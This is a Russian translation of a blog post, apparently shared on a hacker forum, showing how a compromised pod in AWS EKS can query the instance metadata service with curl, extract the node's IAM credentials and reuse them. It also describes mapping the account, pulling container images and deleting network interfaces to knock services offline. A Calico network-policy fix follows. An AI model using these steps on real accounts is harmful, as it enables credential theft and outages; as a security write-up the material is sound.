В этом посте мы обсудим риски службы метаданных экземпляра AWS в кластерах AWS Elastic Kubernetes Service (EKS). В частности, мы продемонстрируем,
что компрометация модуля в кластере может иметь катастрофические последствия для ресурсов в учетной записи AWS, если доступ к службе метаданных экземпляра не заблокирован должным образом.
Содержание статьи
- Введение
- Всё начинается с компрометации Пода...
- Дополнительная информация о сервисе метаданных экземпляров AWS
- Доступ к службе метаданных экземпляра из взломанного Пода
- Говорите, наименьшие привелегии?
- Исправление
- Заключение
В этой статье мы будем использовать кластер EKS под управлением Kubernetes v1.17.9, созданный с помощью eksctl. Мы также могли создать кластер с помощью Terraform или CloudFormation.
Код:
eksctl create cluster \
--nodes 1 \
--name christophe-cluster \
--node-type t3.large
После создания кластера мы можем использовать AWS CLI, чтобы обновить наш файл конфигурации kubectl и сразу же начать взаимодействие с Kubernetes API.
Код:
$ aws eks update-kubeconfig --name christophe-cluster
Added new context arn:aws:eks:eu-central-1:account-id:cluster/christophe-cluster to /home/christophetd/.kube/config
Всё начинается с компрометации Пода...
Предположим, злоумышленник взломал под в кластере, например, воспользовавшись уязвимостью в веб-приложении, которое он запускал.
Мы смоделируем этот сценарий, запустив модуль и подключившись к shell`у внутри него.
Код:
$ kubectl run --rm -i --tty mypod --image=alpine --restart=Never -- sh
(pod)$ hostname
mypod
Отлично! Как злоумышленник, теперь мы заинтересованы в поиске ресурсов в кластере и в связанной учетной записи AWS.
Для полноты картины мы можем взглянуть на матрицу угроз типа ATT и CK для Kubernetes от Microsoft:
В оставшейся части этого поста мы рассмотрим, как API метаданных AWS (обведено зеленым) снова даст нам возможность делать интересные вещи.
Дополнительная информация о сервисе метаданных экземпляров AWS
Напоминаем, что служба метаданных экземпляра - это API AWS, который прослушивает локальный для канала IP-адрес 169.254.169.254.
Он доступен только из экземпляров EC2 и позволяет получать различную информацию о них.
Это особенно полезно, когда вам нужны ваши экземпляры для доступа к ресурсам AWS. Вместо жесткого кодирования учетных данных вы сначала назначаете своему экземпляру роль IAM.
Затем из экземпляра можно получить временные учетные данные для роли. Это на 100% очивидно, если вы используете AWS CLI.
Доступ к службе метаданных экземпляра из взломанного Пода
На первый взгляд непонятно, что произойдет, если мы запросим службу метаданных экземпляра из взломанного модуля, поэтому давайте попробуем.
Код:
(pod)$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
...
security-groups
Отлично.
Так каков контекст возвращаемых данных?
Код:
(pod)$ curl http://169.254.169.254/latest/meta-data/iam/info
{
"Code" : "Success",
"LastUpdated" : "2020-08-31T17:03:39Z",
"InstanceProfileArn" : "arn:aws:iam::account-id:instance-profile/eksctl-christophe-cluster-nodegroup-ng-15050c0b-NodeInstanceProfile-1AS40JWHFGXJ2",
"InstanceProfileId" : "AIPA..."
}
Интересно, что мы видим, что можем получить доступ к службе метаданных экземпляра и что мы можем получить временные учетные данные для роли
IAM christophe-cluster-nodegroup-ng-15050c0b-NodeInstanceProfile-1AS40JWHFGXJ2.
Код:
(pod)$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-christophe-cluster-nodegro-NodeInstanceRole-1XY9GXQ417J7H
{
"Code" : "Success",
"LastUpdated" : "2020-08-31T17:03:25Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA..PP",
"SecretAccessKey" : "Xm/..Z2",
"Token" : "IQoJ..Vg==",
"Expiration" : "2020-08-31T23:38:39Z"
}
Это роль IAM, назначенная экземплярам EC2, выступающим в качестве рабочих узлов Kubernetes!
И что с этим делать?
Говорите, наименьшие привелегии?
Эта роль задокументирована AWS, и мы видим, что она привязана к следующим управляемым политикам AWS:
Я видел, как Scott Piper регулярно разглагольствовал об управляемых политиках AWS, утверждая,
что они слишком привилегированные. Он об этих говорил?)
Код:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:AssignPrivateIpAddresses",
"ec2:AttachNetworkInterface",
"ec2:CreateNetworkInterface",
"ec2:DeleteNetworkInterface",
"ec2:DescribeInstances",
"ec2:DescribeTags",
"ec2:DescribeNetworkInterfaces",
"ec2:DescribeInstanceTypes",
"ec2:DetachNetworkInterface",
"ec2:ModifyNetworkInterfaceAttribute",
"ec2:UnassignPrivateIpAddresses"
],
"Resource": "*"
}
}
Код:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:GetRepositoryPolicy",
"ecr:DescribeRepositories",
"ecr:ListImages",
"ecr:DescribeImages",
"ecr:BatchGetImage",
"ecr:GetLifecyclePolicy",
"ecr:GetLifecyclePolicyPreview",
"ecr:ListTagsForResource",
"ecr:DescribeImageScanFindings"
],
"Resource": "*"
}
]
}
Код:
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"ec2:DescribeInstances",
"ec2:DescribeRouteTables",
"ec2:DescribeSecurityGroups",
"ec2:DescribeSubnets",
"ec2:DescribeVolumes",
"ec2:DescribeVolumesModifications",
"ec2:DescribeVpcs",
"eks:DescribeCluster"
],
"Resource": "*",
"Effect": "Allow"
}
]
}
Оу. Выглядит не очень хорошо, не так ли? Именно! Давайте посмотрим, что нам дают эти разрешения.
Мы можем установить интерфейс командной строки AWS локально и установить учетные данные,
полученные ранее из экземпляра службы метаданных.
Код:
$ export AWS_ACCESS_KEY_ID=ASIA...
$ export AWS_SECRET_ACCESS_KEY=Xm/..
$ export AWS_SESSION_TOKEN=IQo...
$ aws sts get-caller-identity
{
"UserId": "A...Q:i-02f...",
"Account": "account-id",
"Arn": "arn:aws:sts::account-id:assumed-role/eksctl-christophe-cluster-nodegro-NodeInstanceRole-1XY9GXQ417J7H/i-02..."
}
Вот несколько примеров того, что мы можем сделать:
- Составить карту сети, найдя и описав VPC, подсети и группы безопасности. Не только VPC, связанный с кластером EKS, но и во всей учетной записи AWS.
- Описать любой экземпляр EC2 в учетной записи AWS. Сюда входит такая информация, как используемый AMI, частный IP-адрес, подключенные диски…
- Уничтожить все сетевые интерфейсы каждого экземпляра EC2 с последовательными вызовами ec2: DescribeNetworkInterfaces, ec2: DetachNetworkInterface и ec2: DeleteNetworkInterface. Это переведет в offline все ваши экземпляры и зависимые сервисы AWS. Ну как ваш модный кластер EKS? Лежит. Ваше высокодоступное, автоматически масштабируемое веб-приложение, охватывающее 3 зоны доступности? Не в сети. Отличный вектор атаки для отказа в обслуживании.
- Найти и извлечь любой образ Docker («репозиторий ECR») в учетной записи. В качестве бонуса вы даже можете запросить результаты сканирования уязвимостей изображения, вызвав ecr: DescribeImageScanFindings. Это даст вам хороший список уязвимостей, обнаруженных AWS в этих образах. Это может быть очень полезно для дальнейшего использования подов внутри кластера EKS. Кому вообще нужен Нессус?
Исправление
Этот недостаток на самом деле не нов - он даже задокументирован AWS, который предлагает заблокировать службу метаданных экземпляра, создав правило iptables для каждого рабочего узла EKS.
Это непрактично, если ваши узлы EKS управляются группами узлов, динамически раскручивая экземпляры EC2, чтобы действовать как рабочие узлы EKS.
Вам потребуется создать кастомный шаблон запуска группы узлов или кастомный AMI.
Другой вариант - использовать сетевые политики Kubernetes для блокировки доступа к службе метаданных экземпляра. К сожалению, сетевой плагин Kubernetes, который использует EKS,
изначально не поддерживает сетевые политики. Рекомендуемый обходной путь - добавить поставщика сетевой политики Calico, который сможет выбирать ваши объекты сетевой политики и применять их.
Обратите внимание, что это не полностью новый подключаемый модуль CNI для вашего кластера, а просто «средство обеспечения соблюдения сетевой политики» (Calico поддерживает оба режима).
Согласно документации AWS, мы можем установить поставщика сетевой политики Calico в нашем кластере этими командами:
Код:
$ kubectl apply -f https://raw.githubusercontent.com/aws/amazon-vpc-cni-k8s/release-1.6/config/v1.6/calico.yaml
# Wait for a few seconds...
$ kubectl get daemonset calico-node --namespace kube-system
NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE
calico-node 1 1 1 1 1 beta.kubernetes.io/os=linux 17m
Calico работает как DaemonSet, следя за тем, чтобы каждый рабочий узел имел свой собственный модуль Calico,
собирая объекты сетевой политики и применяя их локально на узлах с помощью iptables.
Теперь мы можем написать нашу сетевую политику, фильтрующую исходящий трафик.
Мы просто разрешаем любой исходящий трафик, не направленный на IP-адрес метаданных экземпляра.
Код:
apiVersion: projectcalico.org/v3
kind: GlobalNetworkPolicy
metadata:
name: allow-all-egress-except-ec2-metadata
spec:
selector: all()
egress:
- action: Deny
protocol: TCP
destination:
nets:
- 169.254.169.254/32
- action: Allow
destination:
nets:
- 0.0.0.0/0
Обратите внимание, что это объект GlobalNetworkPolicy, потому что мы хотим, чтобы он применялся ко всем пространствам имен в кластере.
С другой стороны, объекты NetworkPolicy будут применяться к одному пространству имен.
Перед применением нашей сетевой политики нам необходимо установить инструмент интерфейса командной строки calicoctl. (Обратите внимание, что это необходимо только для объектов GlobalNetworkPolicy,
а не для объектов NetworkPolicy - потому, что NetworkPolicy - это стандартный объект K8s, а GlobalNetworkPolicy - это настраиваемое определение ресурса Calico).
Код:
$ sudo wget https://github.com/projectcalico/calicoctl/releases/download/v3.16.0/calicoctl -O /usr/local/bin/calicoctl
$ sudo chmod +x /usr/local/bin/calicoctl
# Set datastore, see https://docs.projectcalico.org/getting-started/kubernetes/hardway/the-calico-datastore
$ export DATASTORE_TYPE=kubernetes
$ export KUBECONFIG=~/.kube/config
Затем мы можем использовать calicoctl так же, как и kubectl:
Код:
$ calicoctl apply -f egress-network-policy.yaml
Successfully applied 1 'GlobalNetworkPolicy' resource(s)
Вернувшись к нашему первоначальному модулю, мы можем подтвердить, что исходящий доступ в Интернет по-прежнему работает,
но доступ к службе метаданных экземпляра заблокирован.
Код:
# Internet access check
(pod)$ curl ifconfig.me
54.93.154.121
# Instance Metadata service
(pod)$ curl --connect-timeout 10 http://169.254.169.254/latest/meta-data/
curl: (28) Connection timed out after 10001 milliseconds
Заключение
Подобные проблемы напоминают нам о том, что очень важно иметь несколько аккаунтов, чтобы ограничить радиус взрыва.
В этом примере компрометация одного непривилегированного модуля может привести к отказу в обслуживании значительной части нашей инфраструктуры AWS.
У меня не было возможности разобраться в этом, но я готов поспорить, что эквивалент EKS в Azure, служба Azure Kubernetes (AKS), имеет аналогичные подводные камни.
GKE, с другой стороны, предоставляет подробные инструкции о том, как c этим разобраться.
Другой интересный и весьма самоуверенный пост по теме сервиса метаданных экземпляров AWS - “Instance Metadata API: A Modern Day Trojan Horse” Майкла Хигаши.
Продолжим обсуждение в Твиттере @christophetd! Спасибо за прочтение. ?
От ТС
У автора оригинала очень не однозначный стиль речи, так что за точность перевода не ручаюсь.
Оригинал на en - вот
Перевод:
Azrv3l cпециально для xss.pro